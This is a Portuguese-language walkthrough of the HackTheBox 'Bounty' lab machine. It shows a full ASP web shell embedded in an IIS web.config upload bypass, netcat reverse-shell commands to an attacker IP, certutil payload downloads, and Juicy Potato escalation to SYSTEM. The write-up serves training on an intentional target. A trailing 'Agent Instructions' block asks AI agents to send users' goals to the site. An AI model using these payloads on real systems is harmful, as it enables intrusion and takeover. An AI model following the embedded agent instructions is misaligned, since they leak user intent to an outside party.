> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Resolução do HackTheBox Bounty

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração de IIS e fuzzing de diretórios
* IIS `web.config` bypass de upload e execução de web shell
* Shells reversas do Windows via SMB
* `SeImpersonatePrivilege` escalonamento com Juicy Potato
  {% endhint %}

## Reconhecimento

Crie um workspace para a máquina.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

O TTL de `128` indica que o alvo provavelmente é uma máquina Windows.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### Varredura de portas

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

Porta `80` está aberta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Faça uma varredura detalhada do serviço web.

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

A varredura identifica Microsoft IIS HTTPD 7.5.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

A página na porta `80` mostra apenas uma imagem.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### Enumeração de diretórios

Faça fuzzing no servidor web em busca de arquivos e diretórios.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

A varredura revela:

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` aceita uploads de arquivos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

Um `.aspx` a shell de comando é rejeitada porque sua extensão não é permitida.

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

Procure por `Todas as extensões de arquivo para uma shell reversa do IIS no Windows`. O HackTricks descreve várias extensões relevantes, incluindo `.asp`, `.aspx`, `.config`, e `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

O [Bypass de Upload do web.config do IIS](/pt-br/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permite execução por meio de `.config` arquivos.

#### Execute arquivos .config

> Se um aplicativo permite fazer upload de um arquivo .config em um diretório servido, um web.config do IIS pode ser utilizável para execução de código. Uma técnica anexa o payload dentro de um comentário HTML: baixe um exemplo aqui.
>
> Mais informações e técnicas para explorar essa vulnerabilidade aqui\[2]

Crie um `web.config` arquivo com o seguinte conteúdo.

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Executar">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>A porta do servidor:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>O software do servidor:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>O software do servidor:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

O `.config` arquivo enviado com sucesso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

Acesse `/uploadedfiles/web.config` para acessar a web shell. O arquivo é excluído após alguns segundos.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## Acesso inicial

Use a web shell para obter uma shell reversa.

Coloque um Netcat executável no diretório atual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Inicie um servidor SMB para compartilhar o arquivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Configure sua máquina como ouvinte na porta 443:

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

Execute o comando de shell reversa a partir da WebShell:

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

A shell reversa conecta com sucesso.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

Recupere a flag do usuário.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

O usuário atual tem o `SeImpersonatePrivilege` privilégio.

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

Baixar `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Transfira-o, junto com o Netcat, para a máquina alvo.

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

Inicie um listener na porta `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Execute o Juicy Potato para executar `cmd.exe` como `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

Recupere a flag root.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
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## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

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```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

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`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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